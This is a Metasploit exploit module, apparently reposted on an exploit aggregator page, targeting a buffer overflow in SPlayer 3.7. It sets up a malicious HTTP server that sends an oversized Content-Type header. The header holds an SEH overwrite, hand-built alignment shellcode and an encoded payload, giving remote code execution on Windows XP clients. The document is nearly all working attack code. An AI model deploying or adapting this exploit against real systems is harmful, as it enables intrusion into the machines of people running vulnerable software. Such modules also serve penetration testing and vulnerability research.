ExploitFixes
SPlayer 3.7 Content-Type Buffer Overflow 2011-05-11 16:15:03

##
# $Id: splayer_content_type.rb 12581 2011-05-11 00:18:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "SPlayer 3.7 Content-Type Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in SPlayer v3.7 or piror. When SPlayer
requests the URL of a media file (video or audio), it is possible to gain arbitrary
remote code execution due to a buffer overflow caused by an exceeding length of data
as the 'Content-Type' parameter.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12581 $",
'Author' =>
[
'xsploitedsec <xsploitedsecurity[at]gmail.com>', #Initial discovery, PoC
'sinn3r', #Metasploit
],
'References' =>
[
['URL', 'http://www.exploit-db.com/exploits/17243/'],
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'BufferRegister' => 'ECX',
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP2/XP3',
{
'Offset' => 2073, #Offset to SEH
'Ret' => 0x7325, #Unicode P/P/R (splayer.exe)
'Max' => 30000, #Max buffer size
}
],
],
'Privileged' => false,
'DisclosureDate' => "May 4 2011",
'DefaultTarget' => 0))
end

def get_unicode_payload(p)
encoder = framework.encoders.create("x86/unicode_mixed")
encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
unicode_payload = encoder.encode(p, nil, nil, platform)
return unicode_payload
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
if agent !~ /Media Player Classic/
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end

nop = "\x73"

#MOV EAX,EDI; XOR AL,C3; INC EAX; XOR AL,79; PUSH EAX; POP ECX; JMP SHORT 0x40
alignment = "\x8b\xc7\x34\xc3\x40\x34\x79\x50\x59\xeb\x40"
padding = nop*6
p = get_unicode_payload(alignment + padding + payload.encoded)

sploit = rand_text_alpha(2073)
sploit << "\x61\x73"
sploit << "\x25\x73"
sploit << nop
sploit << "\x55"
sploit << nop
sploit << "\x58"
sploit << nop
sploit << "\x05\x19\x11"
sploit << nop
sploit << "\x2d\x11\x11"
sploit << nop
sploit << "\x50"
sploit << nop
sploit << "\x50"
sploit << nop
sploit << "\x5f"
sploit << nop
sploit << "\xc3"
sploit << rand_text_alpha(1000)
sploit << p
sploit << rand_text_alpha(target['Max']-sploit.length)

print_status("Sending malicious content-type to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, '', {'Content-Type'=>sploit})

end

end